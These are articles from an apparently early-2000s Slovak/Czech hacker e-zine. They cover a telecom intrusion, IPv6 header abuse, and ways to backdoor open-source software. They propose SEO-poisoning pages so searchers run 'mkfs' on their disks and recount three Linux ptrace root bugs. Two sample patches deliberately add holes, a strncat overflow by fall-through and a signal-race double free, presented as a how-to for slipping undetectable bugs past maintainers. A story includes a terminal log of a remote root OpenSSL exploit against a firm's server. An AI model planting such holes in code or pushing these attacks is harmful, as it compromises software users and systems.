-rwxrwxrwx 1 root root 54 Mar 15 2002 sel
-rwxrwxrwx 1 root root 18382 Mar 15 2002 serv.php3
-rwxrwxrwx 1 root root 18497 Mar 15 2002 serv.php3~
-rwxrwxrwx 1 root root 11315 Mar 15 2002 serv.php3~~
-rwxrwxrwx 1 root root 1364 Mar 15 2002 servis.html
-rwxrwxrwx 1 root root 1322 Mar 15 2002 servis.html~
-rwxrwxrwx 1 root root 15614 Mar 15 2002 sprs.php3
-rwxrwxrwx 1 root root 15605 Mar 15 2002 sprs.php3~
-rwxrwxrwx 1 root root 8186 Mar 15 2002 sprszal.php3
-rwxrwxrwx 1 root root 111 Mar 15 2002 stri.php3
-rwxrwxrwx 1 root root 106 Mar 15 2002 stri.php3~
-rwxrwxrwx 1 root root 384 Mar 15 2002 u.php3
-rwxrwxrwx 1 root root 382 Mar 15 2002 u.php3~
-rwxrwxrwx 1 root root 2262 Mar 15 2002 upnas.php3

world writeble php skripty...
to hovori same za seba.




Je uplne jasne ze ludia v telecome sa riadia svojimi reklamnymi sloganmi, ako napriklad
"Dostante sa rychlo vsade tam, kam potrebujete" - u telecomu to plati dvojnasobne.
Len dostavat sa vsade tam kam potrebujete u niekoho kto prevadzkuje napriklad
linky VUBcky. A este by radi prevadzkovali govnet ? HA - HA - HA. Uz vidim ako sa osobne
udaje kazdeho cloveka na slovensku lezia kade tade na diskoch najroznejsich ludoch z celeho sveta.



Zaver


co dodat na zaver ? neviem ci treba este nieco dodavat, ten zaver je tu skor len aby bol :)
Pravdepodobne sa v tejto organizacii tak skoro nic nezmeni a stale to bude tak ako je a vsade
sa budu pouzivat uzivatelia typu jozko a k tomu hesla jozko123. Ale cele to predsa nie je len
o heslach. Je velmi smutne ze firma ktora sa chce tvarit profesionalne (aj ked z tej primitivnej
reklamy vela profesionalnosti nepozera, ale traba brat ohlad aj na to na akom sme trhu... slovensky
obcan ma reklamu taku aku je schopny vo vacsine stravit, ale spat k tomu smutku :) este raz hovorim
ze je smutne ze si niekto rok nevsimne ze ma niekto uplny pristup do jeho velkej siete. A vyletnici
robili uz taky bordel okolo seba ze by si to vsimol aj hluchy a slepy admin. Robia v tom telecome
vobec nejaki admini ? Alebo proste o tom vedeli a nechali to tak aby niekomu nieco dokazali ?
Mozno pride od niekoho vysvetlenie ale skor nie. Obraz si urobi kazdy sam.





a na uplny zaver mala bajka:




bajka o ropuche a volovi.
bola raz jedna ropucha a jeden vol. ropucha chcela byt taka velka ako ten vol,
tak sa nafukla az praskla



tr1uh0rky, tr1uh0rky(at)hysteria.sk





navrat na obsah

co ty na to ? board






Project chaos




aj vas fascinuju zaporaci vo filmoch, ktori maju vzdy genialny napad
ako nastolit na nasej peknej modro-zelenej (coskoro cierno-sedej) planete
totalny chaos? na realizaciu ich planov treba obycajne dobre zazemie
(minimalne nejaky opusteny ranc), kontakty smerom na tranzsibirsku magistralu
a hodne prachov. mna napadli dva sposoby, ktore su mozno utopiou - tak ako
v spominanych filmoch [a mozno aj nie :-)], ale co ak predsa..




g@@gle nas kamarat




pekne sa priznajte, co spravite ked narazite na problem ktory uz neviete ako
riesit [mozno uz aj po par bezsennych nociach]. ked si odmyslim, ze najprv
vo vas prevladne duch lamera a spytate sa kamarata [zopar takych teepkov, co
vysia na irc a rozdavaju svoje advanced vedomosti bars komu poznam] tak
dalsi logicky krok je navstivit oblubeny vyhladavac [google, ze? :)]. no vy
tam natukate pekne co hladate, google vam vypluje pekne zoradene odpovede,
kde zvycajne je to co hladate medzi prvymi linkami [predpokladam, ze viete
v pohode formulovat dotaz]. pekne nam to funguje, co? niekedy mam taky
pocit, ze keby sa predaval divajs, ktory by bol velkosti naramkovych
hodiniek a mal by v sebe celu databazu google, aj s nacacheovanymi
strankami, tak by nam bolo hej :-) [kazdopadne mam z dobreho zdroja, ze
google nieco take predava ako box do intranetu firmy [len to asi nieje velke
ako naramkove hodinky:-))]]. no dobre, podme ale k veci. o tom pomocou akych
pravidiel si vyhladavace ukladaju a hodnotia jednotlive stranky v databazach
sa rozpisovat nebudem, ale predstavte si, ze dokazate stranku na vlastnom
servri prepracovat na prve miesto googlovskej odpovede na nejaky dotaz
[najlepsie konkretny :-)] po lopate - natukam do google "linux repair
filesystem" a na prvom mieste bude stranka, ktora bude suverenne tvrdit nieco
na sposob "At first, you have to run mkfs [/DEV/DEVICE], then...". No pre
tych, co si myslia ze by to nezabralo mozu kludne rozpisat prikaz mkfs ako
"Make checK File System", fantazii sa medze nekladu :)
Ono sranda je jedna vec, ale co takto troska prachov? Ked dokazete dostat
stranky niekoho firmy opat na prve miesto odpovedi pri hladani danej sluzby,
nemusi to byt vobec na skodu ;-)




"developeri"



ludia by sa castokrat cudovali, kto im vyvyja casti ich open source kodu. ci
uz su to teepci na intrakoch, bradati oldsk00leri, alebo nejaki dalsi
nahodni debian intelektuali zo zimbabwe, mavaju jedno spolocne. ich geek
faktor je dostatocne vysoky na to, ze su tak zamerani na samotny vyvoj,
ze castokrat zabudaju na to v akom stave maju svoje workstejsny. co tam po
nich - myslia si, veriac, ze linuxove jadro 2.0.20 s ipfwadm vsetko vyriesi.
len problem je v tom, ked zabudnu na to, ze kedysi nechali pustene ftp koli
tomu aby im tam niekto uploadol nejaky fasa patch na recode alebo ine
zverstvo. jednoducho dostat sa takymto developerom na masinu by nemusel byt
az taky problem. nasleduje troska zlozitejsia cast - zanalyzovat styl akym
je pisana aplikacia ktoru vyvyjaju, a vlozit do nej nenapadne vyzerajucu
cast vlastneho evil kodu a tvarit sa ze sa nic nedeje. toto je taka dost
zlozita cesta, ale mohla by zafungovat, kazdopadne skor, ci neskor na to
niekto pride. v praxi sme mohli vidiet veci, ako patchnuty BitchX irc
klient, alebo dokonca open-ssh a podobne. jednalo sa o jednoduchych
trojanov, ktorych autori sa nespoliehali na to ze to tam dlho vydrzi
a preto nechali trojana aktivovat uz pri instalacii - a preto bol ten trojan
tak rychlo objaveny.
pokial si ale myslite ze ste dost evil, tak skuste sa
zamontovat do diskusii na roznych konferach, newsoch, irci a ked mate dobry
plan, mozte ich skusit presvedcit o tom, ze nejaku cast kodu, alebo
principialne fungovanie aplikacie robia zlym sposobom. no a mozno sa vam
podari ich presvedcit na nejaky obdobne dobry system, ktory ale bude mat len
vam znamu nenapadnu chybicku navrhu. tu si treba uvedomit, ze rozdiely medzi
bugmi a featurami su castokrat velmi malicke ;-) v praxi sme mohli vidiet
zle navrhnute protokoly uz dost casto, netvrdim, ze umyselne, ale to sa uz
nikto nedozvie ;-))




ip_v6



ked sme uz pri tych featurach neda mi nespomenut v6. je to pekny protokol,
ktory je ale na moj vkus az moc flexibilny. no ale ako to uz tak chodi, cim
flexibilnejsi sa snazime byt, tym viac chyb sa narobi.. neskusal som zatial
stacky OS na durabilitu voci roznym utokom, ale mozte si byt isti, ze pokial
pri ipv4 existovali zle implementovane niektore zlozitejsie veci
(fragmentacia, broadcast a podobne) tak u ipv6 to bude este zaujimavejsie.
pri tolkych featurach to bude pre implementatorov pohroma. ved ked tak
pozeram na vyvoj, tak je castokrat problem vobec spravne pochopit a
implementovat RFC a nie to este osetrit nepopisane stavy :))
pri studiu v6 som si vypisal zopar zaujimavych poznamok, pre tych ktori uz
zabrdli do ipv6 mozno nic nove, pre ostatnych ostava pockat na clanok o
ipv6, alebo navstivit g@@gle ;-)



    59-hlavy drak

    ipv6 ma zaujimavu moznost zretazenia hlaviciek. principialne je

    jedno kolko ich je za sebou nasukanych, pretoze niesu cislovane,

    jediny sposob ako sa za seba viazu, je vyhradena cast v hlavicke,

    ktora hovori o tom aka hlavicka bude nasledovat. hodnoty/oznacenia

    jednotlivych hlaviciek tu rozpisovat nechcem, ale hodnota 59 znaci,

    ze sa jedna o poslednu hlavicku a ak dlzka datagramu uvedena v

    hlavicke je vacsia ako by mala byt, vsetky dalsie data

    musia byt ignorovane a nezmenene poslane dalej.

    to ze nam tento mily protokol dovoluje prenasat data, ktore nebudu

    nicim a nikym kontrolovane, ale budu posielane dalej je v celku

    fascinujuce, nie? ked si odmyslim, ze svoju osobu po digitalnej

    transformacii budem pripajat za rozne packety a cestovat po celom

    nete len tak hore-dole, alebo ze budem posielat za vsetkymi mojimi

    packetmi este reklamu na cigarety a kavu, ktoru uvidia len admini,

    ktori zrovna nieco riesia s tcpdumpom, ostava vcelku zaujimave

    vyuzitie pre skryty prenos dat a ... kam az fantazia DoSerov ciaha :)



    alert

    vtipna volba routeralert v hlavicke packetu signalizuje, ze jeho

    obsah je zarucene zaujimavy pre kazdy router ktorym tento packet

    prejde. co ak si to ale mysli len ten kto takyto packet vygeneruje?

    no a co v pripade, ze ich zhodou okolnosti vygeneruje tak 30 tisic

    za sekundu? router sa bude snazit precitat vsetky tieto leninove

    spisy, ale pri takom floode ho to najskor polozi..



    turisticka mapa

    podobne ako v ipv4 mozme aj v ipv6 pouzit obdobu source-routingu. tu

    sa to vola routing-header. zaujimava featura je to, ze nemusia byt

    povinne uvedene vsetky hopy. cize ak nepoznate strukturu nejakeho

    intranetu a aj napriek tomu by ste radi kontaktovali nejaky host vo

    vnutri, staci uviest cestu po gateway pre dany intranet a cestu

    vramci neho nechat uz na routroch vo vnutri. samozrejme najprv treba

    svoje packety pretlacit cez pominanu gw, ale to uz je ina story.

    kazdopadne je tu este jedna dalsia featura, ktorej implementacia

    moze byt celkom zaujimava. jedna sa o sposob, ktorym sa uvadza kolko

    hopov este bude v tabulke hopov uvedenych, je to a) dlzka routing

    hlavicky (max 263 bajtov) a pocet ostavajucich hopov (max 255).

    co sa stane ked skonci hlavicka a mali by nasledovat dalsie hopy,

    to zistime az pri testovani roznych implementacii..



takze nech sa paci, pokial sa vam bude zdat ze niektora implementacia nema
pre vas vhodne featury, staci joinnut development team a submitnut par
patchov. ved kto dnes vlastne rozozna featuru od bugu? :)




maniac, maniac(at)hysteria.sk




navrat na obsah

co ty na to ? board






co to vlastne je ten 'opensource'




v dnesnim dile delani ruznych spatnosti se podivame na ten software
zhusta uzivany cinskymi teroristy, nekdy tez zvany 'opensource'.



opensource je hrozne fajn vec, umoznuje nam delat takrka vse s nulovymi
naklady a kdyz se nam neco nelibi, zpravidla to nekdo opravi, kdyz budeme
hodne kricet a spamovat zainteresovane maillisty dostatecne dlouho.



co je mene znamo je maly bug, nebo lepe receno featura OS vyplyvajici
z toho co uz sem tu rek - totiz ze v pripade mnoha projektu ma kdokoli
moznost prispet svym kouskem do celeho toho chaosu vyvijiciho se monstra.
a v tom to, vazeni pani a damove, je. je to neco jako world-writable (+w)
skript v /tmp kterej pousti root user...




inu, o co tedy jde.




rekneme ze tu existuje nejaky soft kterej pouziva pulka zemekoule, rekneme
treba linux kernel. kdokoliv, komu se zamane, muze submitnout nejakou featuru
a kdyz bude pro ni dostatecnej ohlas (neni problem si takovej ohlas, v podobe
sebe-pochvalnych mailu do LKML, vytvorit :), velice pravdepodobne se objevi v
dalsim releasu. sranda ovsem nastava v momente kdy umysly autora nebyly zase
tak uplne cestne a implementoval do patche treba i maly, ale zpravidla
komplikovany a na prvni pohled neviditelny, bug. takovy bug nemuze a ani
nesmi byt neco trivialniho, jinak ho samozrejme zmerci maintaineri. takze
zadne bufferoverfly, to je dneska pro deti. spis takove negativni reference
do pole, logicke a race chyby (musi se sejit nekolik podminek v jednom casovem
okamziku aby se dany bug projevil) - v takovem pripade je opravdu velice tezke
chybu odhalit protoze clovek si musi projit vsechny moznosti jemiz algoritmus muze
projit - samozrejme ze autor vi jak dane chyby zneuzit a take to udela, proc
by ji jinak vytvarel :)



ze se toto nemuze stat ? ze project-maintaneri jsou opatrni a prohlizeji
si vsechny submitnute patche radku po radce ? ale kus!



tak co treba takovy linux kernel a jeho (ne)chvalne proslaveny ptrace ?
z poctu zpusobu jak ptracem dostat roota na kernelu 2.2.16 (existuji zde
3 ruzne fungujici ptrace bugy + exploity) mi vazne pripada ze zpusobu
jak je ptrace v linuxu udelany byl nejaky skryty zamer, ma vsechny
atributy vneseneho backdooru - je velmi dobre skryty a ve vsech pripadech se
projevuje jen jako race condition, pokazde jineho charakteru ale vzdy
vyplyvajici z chybne implementace.



jenom nutne seznameni v cem je problem u ptrace:
kdokoliv na systemu lokalne muze "attachnout" bezici process
jehoz je owner (i.e. uid "atakovaneho" procesu je stejne jako
uid tracera, stejne tak pro gid a equivalenty euid, fsuid atd)
v momente kdy mas attachnuty proces, muzes si snim delat co chces
i kdyz se jeho uid zmenilo (tj. treba zapsat do nej shellcode ktery
se spusti)



aby bylo jasno, tak na uvod mala historie ptrace bugu na linuxu:




ptrace #1 (found by cliph, '98)




vychazel z velice primitivniho predpokladu jak fungoval execve()
na linuxech < 2.2.19 pri davani prav procesu suid binarky.
execve() checkoval (kdyz se spoustela suid binarka) jestli proces v
kterem execuje neni trasovan nekym kym by trasovan byt nemel, a delal
to hned na zacatku spousteciho procesu. _na konci_ a to je dulezite,
teprv hodil procesu prava jestli se spustila suid binarka. takze pokud
byl proces trasovan pred execve() vsecko v poradku, pokud nekdo skusil
attach po execve() taky v poradku ponevadz uid se zmenilo. *ale* co kdyz
nekdo attachnul uprostred execve() (nejlepe to jde zrovna ve chvili kdy
disk nacita prvni stranku binarky, takze kernel "spi" v execve()). inu,
check na ptrace byl negativni, ale nyni nam "attach" vysel, protoze
execve() jeste nezmenil uid. takze jsme attachnuty k procesu, execve()
se probudi a da procesu uid suid binarky (zpravidla root). no ale i tak
mame proces stale pod kontrolou, takze tam jenom vlozime shellcode a jedem.



zpusob jakym se tato race case fixla taky neni uplne cisty:
na konci, kdy se predavaji prava se proces lockne (takze nemuze byt attachnuty)
zkontroluje se pritomnost ptrace flagu, pokud to nekdo pred tim attachnul
prava se nepredaji. tato featura samozrejme vyustila v jiny bug, sice uz ne tak
skodlivy, ale i tak (kdysi davno tim spousta lidi, vcetne me, cheatovala
hackerslab :), totiz to ze kdokoliv muze "dump"-nout pres ptrace exec-only
(a klidne i suid) binarku.




ptrace #2 (found by nergal, '01)




je uz o neco slozitejsi, graficky by se to znazornilo takto:



rekneme ze mame 2 rovnopravne procesy, z pocatku neprivilegovane.




cas prvni proces druhy proces
0 ptrace(PTRACE_ATTACH, pid druheho procesu)
1 execve /usr/bin/newgrp
2 execve /usr/bin/passwd
3 execve /bin/sh (to udela newgrp)
4 execve ./insert_shellcode_to_process_2


takze co se deje. tento bug je velice elegantni a vyzaduje (jakoukoliv)
setuid binarku ktera pobezi chvili jako root, ale pak spusti user shell.
(to dela treba newgrp, su, screen ...). v prvni chvili prvni proces
attachne druhy proces, cimz se stava jeho parentem (tracer je vzdy parent
tracovaneho). pak si tento proces na chvili "zabere" root prava tim ze spusti
hocijakou suid binarku ktera pozdeji jenom hodi user shell. druhy proces ktery
do teto chvile spal se probudi a jenom spusti jakoukoliv suid binarku. normalne
by to neslo, protoze kernel by videl: aa, sem tracovanej a nekdo pousti suid
binarku, tak to mu neprojde, *jenze* zde existovala vyjimka, a to predpoklad
ze kdyz je parent uid == setuid binarky, je logicky vse v poradku (tj. aby
slo hladce trasovat dropnuti prav a pak jejich znovunabyti pres execve),
inu, takze execve projde, kernel spi v /usr/bin/passwd ktery hodil prompt na
password. vzbudi se proces jedna (tj. newgrp) a spusti klasicky userovo shell.
*jenze* tento shell je furt tracer, a ackoli jiz nema zadna prava, je furt
parent a tracer prave beziciho uid 0 /usr/bin/passwd, takze se jen spusti
binarka co zmeni code context /usr/bin/passwd shellcodem a je to.




ptrace #3 (found by cliph, '03)




opet velice primitivni, asi nejjednodusi z rodiny ptrace bugu, ale rozhodne
mu to neubira nic na ucinnosti. funkce tohoto bugu uz neni jen chybou
v ptrace jako takovem, ale i ve stupidni implementaci kernel-threadu linuxu.
v linuxu se totiz kernel thread vyrabi naprosto uchylnym zpusobem, a to tak
ze se veme aktualni bezici proces a ten se fork()-ne a pak se vyslednemu
procesu da uid 0 a dostane capability a pak se teprv pusti kernel thread funkce.
co se stane mezi temito dvema operacemi, tj. mezi fork() a predani uid je jasne
- ptrace attach a pockame si az proces dostane uid 0. protoze pak kernel-thread
udela primo execve() (spousti /sbin/modprobe), takze dale uz bezi jako user process
muzeme pouzit dalsi ptrace operace na vlozeni shellcode (ktery vytvori setuid root
binarku / hodi rootshell na tcp port)



jak je vidno, charakter ptrace bugu je velice podezrely. uz jenom z faktu ze
vsechny bugy nasli polaci :) ne, mozne to sice je ze bugy v ptrace byly umyslne, ale
buggy ptrace jako takovy je velice stary (uz od 1.x) kernelu a tenkrat se resili
jeste buffer overflowy v kernelu. na druhou stranu je to krasny priklad jak se maji
implementovat skryte backdoory do vetsich projektu.



jak backdoorovat



v podstate jsou praxi overene 2 postupy:



    a) submitnout patch ktery implementuje bugfix/nejakou featuru
    jejiz soucasti je zasah do jinych struktur, kde se treba
    "zapomene" break ci return v switch() statementu takze
    vznikne double-free(), strcat do bufferu probehne 2x atd.


    b) implementovat bug primo do featury v podobe logicke chyby
    (race condition...)




a) je jednodussi, takze s nim zacneme:



mejme takovyto soubor, ktery appendne do 'buf' o velikosti BUFSIZE.
x/y/z podle toho co je 'what'.




void dummy(char *buf, char *x, char *y, char *z, char *a, int what)
{
int len = strlen(buf);
switch(what) {
case 0:
strncat(buf, x, BUFSIZE - len);
break;
case 1:
strncat(buf, y, BUFSIZE - len);
break;
case 2:
strncat(buf, z, BUFSIZE - len);
break;
}
}


rekneme ze jsme implementovali novou
featuru pro what == 3.
patch, by vypadal zhruba asi takto:




--- old.c Wed May 28 17:22:47 2003
+++ new.c Wed May 28 17:23:25 2003
@@ -11,4 +11,6 @@
case 2:
strncat(buf, z, BUFSIZE - len);
+ case 3:
+ strncat(buf, a, BUFSIZE - len);
break;
}


co se stane je asi jasne, pro what = 2 probehne i to co
pro what = 3, se spatnou hodnotou pro strncat.



tento jednoduchy priklad vychazi z predpokladu ze lidi
strncat povazuji automaticky za secure a vecina "auditu"
techto patchu je grepovani pro sprintf/strcpy/strcat,
nehlede na to ze drtiva vetsina maintaineru peclive prohlizi
jen patche (takze rucne z nich vyripuj "orientacni" kod ktery
se nepatchuje, ale ktery by mohl poodhalit kontext), vysledny
kod je zajima jen kdyz patch(1) reportoval nejake nesrovnalosti.



b) a tady si zkusime jednu race condition, v davnych dobach sem
tim chtel backdoornout jednu default suid binarku, ale muj
patch nebyl dostatecne featureoidni, takze nebyl aplikovan, skoda.



v podstate slo o to implementovat timeout mechanismus, jak to zhruba
fungovalo (pouze ilustracni priklady :)




struct context *ctx;

void dummy()
{
ctx->i = read_user_input(); /* return NULL if empty input */
if (!ctx->i) {
free(ctx)
exit(0);
}
}


a muj patch vypadal asi takto:




--- old.c Wed May 28 17:37:18 2003
+++ new.c Wed May 28 17:38:41 2003
@@ -1,7 +1,17 @@
+#define TIMEOUT 60
+
struct context *ctx;

+void timeout(int d)
+{
+ free(ctx);
+ exit(0);
+}
+
void dummy()
{
+ signal(SIGALRM, timeout);
+ alarm(TIMEOUT);
ctx->i = read_input(); /* return NULL if empty input */
if (!ctx->i) {
free(ctx)


na *prvni* pohled neco docela nezavadneho, v podstate pokud user
nezadal vstupni data, program se ukonci.



ale jak uz sem rek, tento patch byl evil :)
otazka totiz je, co by se stalo kdyby ve chvili mezi free() a exit() prisel
alarm =< zavola se timeout() jez by ucinil free() znova. double free() je relativne
dobre zdokumentovana technika a neni predmetem tohoto textiku.
exploit by potom vypadal asi tak ze by spoustel, v mnoha threadech, danou binarku,
pomoci volani ruznych argumentu na prikazovem radku vyrobil pozadovany heap state,
a pak jenom skousel nacasovat spravny null input. statisticky vyjadreno je
uspech zarucen behem nekolika minut. pokud se tento mechanismus komplikovane
do neceho zabuduje, je takrka nemozne ho objevit, ale to je jeden z mnoha :)
pouzij svoji fantazii, nejsi omezen znamymi bugy, vlastne bugy nezname jsou velmi
vitane, protoze to nikomu jen tak nedojde :)



to je pro dnesek vsecko - mam nakou jarni unavu (hi zyx, pisu ti to uz asi
2 tejdny, vaz si toho :)



takze az si stahnete, rozbalite a nainstalujete novyho apache a druhej den
vam nekdo zmeni web, nedifte se - je to prece open source ;))






sd, sd(at)hysteria.sk





navrat na obsah

co ty na to ? board







dastych reloaded



mile deti, dnes vam budem povidat pohadku ktera se mozna stala, mozna ne, kdo vi,
odpoved vam muze dat leda tak jisty serzant XXX z okrsku YYY z policejni stanice
umistene na krasnem miste se skvelou vyhlidkou na cele mesto (kde se da dobre
piratit wifi, btw) jmenem ZZZ, a vice ci mene se tyka jen jednoho clovicka
jmenem CLOVICEK.



za devatero mesty, devatero nakupnimi stredisky, devatero dalnicnimi pohlcovaci
hluku (ved hej, taketo veci podobne tej zdi v maticni, ved poznate) a devatero
obytnymi ctvrtmi stal, nestal, rozpadal se ci nerozpadal nejlepsi vynalez z dob
totality a betonove civilizace, osuntely panelak. byl to velice kvalitni panelak,
stal tam jiz 18 let, stejne tak dlouho jak je na svete ten, o kom vam dnes budu
vypravet.



a v tomto krasnem panelaku zil byl takovy maly clovicek. clovicek zil v klidu
a miru v neustalem boji o udrzeni symbiozy s okolnim svetem, uspesne hazel
problemy za hlavu a nic moc nikdy neresil dokud ...



pi pi pi .... pi pi pi.



pipa mobil, prisla smska.



clovicek se zaposloucha aby urcil smer odkud zvukovy signal obdelnikoveho
prubehu mohl zaznit a zhruba mohl odhadnout kde by mohl mobil lezet a ucinit
tak spravny vypad a chopit se ho za vynalozeni co nejmensiho usili. telefon
mam v ruce:



sms znela zhruba takto:
"zdar CLOVICEK ve skole byli policajti, kdyz sli do sborovny tak
tam odtud vysel tridni a at te sezenu tak sem mu rek ze nejsi
ve skole. mozna chteli neco tobe"



to je spatny. doufam ze se fakt neschaneli po me.



do <&rt; takovou vostudu mi udelat ve skole! v ruce trimam obalku s modrym
prouzkem (pro neznale - obsilka policie cr). predvolani k vyslechu.



"co jste delal dne ??.??. 2002 ?" rika ramenaty serzant XXX v uniforme.
je opaleny ackoli venku je namraza a pada snich. bude mu asi tak
neco k 30, ale jeho vek se da spatne odhadnout - sekac, rikam si, asi
chodi ze stanice rovnou do posilky, pak do solarka a pak na diskoteku
zbalit naky clueless kundicky. frajirek k pohledani. rozhoupal jsem
se k odpovedi: "nevim, je to pulrok zpatky, to si uz nepamatuju - prominte,
kdybych to tusil ze to chcete vedet, zavedu si denicek" povidam. po serzantove
tvari preletl sadisticky usklebek, ale odveta se nekonala. tohle nebylo dobre.
zda se ze nejsem svedek, ale podezrely, taky to tam mohli rovnou napsat.
nu dobra, vtipkovat uz nebudu.



"dobre" povida serza, "slysel jste nekdy o firme FOOBAR?" ... na to vem jed
ze slysel, snazim se vypadat jako bych o tom nic nevedel: "ne."




/*
cca. pred pul rokem od data predchoziho deje:

sh-2.03# cat scanresults/1.2^16 | grep vuln
1.2.3.4: ssl vuln at port 995
sh-2.03# exp/priv/brm -h 1.2.3.4:995 -c 0 -o 0xbffffff0
openssl 0.9.6b remote (root) exploit
(c) 2002 CLOVICEK
PRIVATE CODE! SPREAD/USER ONLY WITH AUTHOR'S PERMISSION.
Attacking 1.2.3.4:995 [1.2.3.4], offset=bffffff0, conncnt=0
Ja pata! The 1.2.3.4 _is_ vulnerable (nextchunk=0x08157fc8, cipher=0x406f90ac)
scanning from 0xbffffff0
#625 - trying 0xbffff62c (get server verify: Malformed packet size)
bug exploited sucessfuly.
enjoy!
Linux ns.FOOBAR.cz 2.4.19 #1 Wed Sep 15 18:02:18 CEST 2002 i686 unknown
uid=0(root) gid=0(root) groups=8(mail)

*/


tak a je to. chtel sem to - mam to mit. podcenil jsem legislativu v cechach,
zatracene podcenil. vyslech pokracoval banalitami kdy jsem vymyslel pohadky
do protokolu. nerikat nic a nebo uplne nesmysly se nevyplaci, s policii uz
nejake zkusenosti mam a to bych se moch z fizlarny dostat domu klidne i druhej
den. konec, mam se prej dostavit znova pristi tejden.
vyjdu z fizlarny, zapnu mobil. asi za hodinu vola jeden kamos z univerzity.



"do pici co se to deje, dostal sem obsilku od policie k vyslechu, dneska rano
sem tam byl a ptali se me na tebe a mely naky cernobily video z komp labaku
kde sedis vzadu u kompu a ja kecam s adminem"



je to jasne, univerzita. postupne se mi stripky davaji dohromady jak se
toho vseho asi mohli domaknout. toho dne kdy se behalo po FOOBAR jsem sedel
na univerzite. zrejme tam udelaly nejaky halo.



"neptali se te kdo je ten clovek vzadu u pocitace, to jest ja, ze ne ?"
"jo, jak to vis?" rika. "a ty jsi jim to rek?" ... "jasne ze jo, ty vole
dyk sou to policajti"



je to jasny. jasny jak facka. v tomto smeru asi nema moc cenu to zatloukat.
jdu do inet kavarny, ta narozdil od univerzity stoji penize, ale za techto
okolnosti... nelezu na irc, nectu regular mejly, nechci do toho zatahnout
dalsi lidi. neexistuju. offline.
pisu email znamymu jez ma co do cineni s internetem na
univerzite, jestli nebyl nekdy v posledni dobe nejaky problem, nejakou
chvili to potrva.



crrrrrrrrr. zvonek. pak ticho, jenom kroupy za oknem jako by se zblaznili,
mlati do okenich skel v odpoved zvonku. tvori to docela cool duet.



crrrrrrrrr. a klepani na dvere.



jakej cur* v 11 vecer ? jeste sem si ani nepustil sve oblibene porno.
vyhrabu se z postele, killnu mplayer s peckem, jdu otevrit.



dva fizlove.



"vase bydliste je predmetem domovni prohlidky."
o soudni rozhodnuti nemusim zadat, vyndal ho sam.
co se dalo dale si pamatuju jen mlhave. zlej sen. asi jeste moc rozespalej,
kamos rika ze porno otupuje, mozna ma pravdu, kazdopadne
v tomhle pripade to nebylo vubec na skodu.
vtrhli dovnitr, mama vyjevene vyleze z pokoje.



cvak. cvak.



mam pouta.



no toto. tohle je fakt cool. maj na to vubec pravo ?
sem podelanej az za usima.



podle bordelu a smradu cigaret a otevrenych dveri jdou
na jisto do meho pokoje, zbytek je nezajima.



postup odkoukany od warezaku ?



berou vsecko co vypada computeroidne, seriaky, napajeci snury,
cdcka, diskety, ide kabely, takrka rozebranou 386ku obsahujici
uz jenom motherboard a cpou to do pytlu jako by to byl sber surovin.
ono taky jo, je to starej srot.
a ted muj pocitac. stojim ve dverich pokoji, v ocich slzy. tohle je
fakt drsny. kdyz vemou otevrenej case a znej vypadne cdromka a disketovka
(nikdy nic v pocitaci neprisroubovavam) zacina ve me vrit krev.
fizl se sklidni, napadlo ho pocitac nejdriv vodpojit vod zasufky pac
chumac dratu mu pripadal nebezpecny kdyz hucely vetraky. aspon tak.



sou pryc, neni tu nic ... ale ... jake stesti ze jsem mel v pocitaci
jenom 3gb disk s pornem a mp3 (kompletne sifrovanym, btw), abych mel
u ceho usnout, protoze ATA100 kabel mel z<&rt; druhou zasuvku (znate to,
sou hrozne krehky a ja zastavam nazor ze ked je to hardware, zaslouzi
to hrube zachazeni - ved preto asi hard, nie ?), takze muj main 40gb
disk byl bezpecne odpojen a hozen pod posteli (kde je neskutecnej binec
papiru, kelimku a vseho a uspesne to tam hnije takze se neodvazili
tam ani sahnout) abych ho pri sve namesicnosti v noci nerozslap.



kua tak to sem mel fakt kliku. z toho 3gb disku rozsifrujou velky prd
pokud vubec budou sto namountovat XFS partisnu *g*



panove, priste si vemte rukavice!



je to dobry, aspon me nesebrali, asi jeste nevi presne za co by mohli.



/*
* od tohoto dne, at vyrazim kamkoliv si ssebou beru do baglu disk vedle mobilu,
* walkmana, matroshe a tak. doporucuju tez kapsace, sou presne delany na harddisky.
*/



odpovedi na email sem se dobral druhy den, apaticky chroupajice gumove
medvidky v teze kavarne jako vcera (komunikace byla slozitejsi, mobil nepouzivam.
maily sli pres jineho clovicka, tohle je jen nepresna reprodukce):




Date: XXX, XX XXX 2002 18:09:37 +0200
From: censored
To: CLOVICEK@blah
Subject: Re: zdravicko


hi,



mno, bylo tady z rektoratu varovani ze tu mame nejakyho hackera
ci co a ze jim mame podat pisemnou informaci kdo se konektil na
1.2.3.4 dne ??.??. 2002, v proxy tam bylo par pristupu na web z
jednoho pocitace na fakulte XYZ.



mno tak to by jsme meli. univerzita ma asi squid cache, obdivuhodne.



sem v drsne depresi. medvidky nabiram po hrstech a rovnou uz je polykam.
neschopen cokoliv delat. beru klavesnici do klina, horecne uvazuju:
maji dukaz, zatracene dobrej dukaz, ze stacil i na prohlidku,
i kdyz jinak je imho neprukaznej - na koukani se na www neni nic spatneho,
na druhou stranu sem nemazal www logy.



v kavarne se nahulvata prihlasim na redirektor.




sh-2.03# ping 1.2.3.4
PING 1.2.3.4 (1.2.3.4): 56 data bytes
^C
--- 1.2.3.4 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss


argh!
nejspis tu masinu vytrhli z ethernetu a mrknul se na to
nekdo kdo tomu nejspis rozumi, i kdyz pravda prepisovat
rucne /var/log/apache do Wordu musi bejt dost otrava.
(protoze nevi jak to z ty "modry obrazovky" (F3-view v MC :)
na tom serveru do toho dokumentu jinak dostat :)



je mi jasne ze pristi tyden na policii by mohl byt o dost drsnejsi,
mozna i cela predbeznyho zadrzeni, pote co vyslechnou vsechny my znamy,
nejspis mi mozna i napichli mobil, nastesti vetsina tech hovoru jsou
neskodne, po mobilu se zadny spatnosti resit nemaji, napadlo me jestli
slyseli muj rozhovor s "kamosem z univerzity", donuti je to jednat
v ramci "ochrany" svedku (tj. zamezeni ovlivnovani svedku ci co)



musim bejt rychlejsi jinak sem v pruseru.



googluju firmu FOOBAR, protoze jejich web - je jak sem jiz zjistil
pingem - down. z cache se dovidam kontakty a jadro pudla - sidli
ve stejnem meste kde bydlim. no co, aspon nemusim nikam jezdit.



stojim pred zvonkama. maj fakt fasa zvonky na to jakyho maj lame
admina. takovy ty kulaty, cetlicky ve slide. kua, proc ja nemam
taky takovy zvonky.



najdu FOOBAR, slovo FOOBAR jiz mam vryte do fotograficke pameti
a jak ho vidim, nemusim ani uvazovat nad skladanim jednotlivych
slabik, ale vzdy mi nevyhnutelne pripomene co znamena.



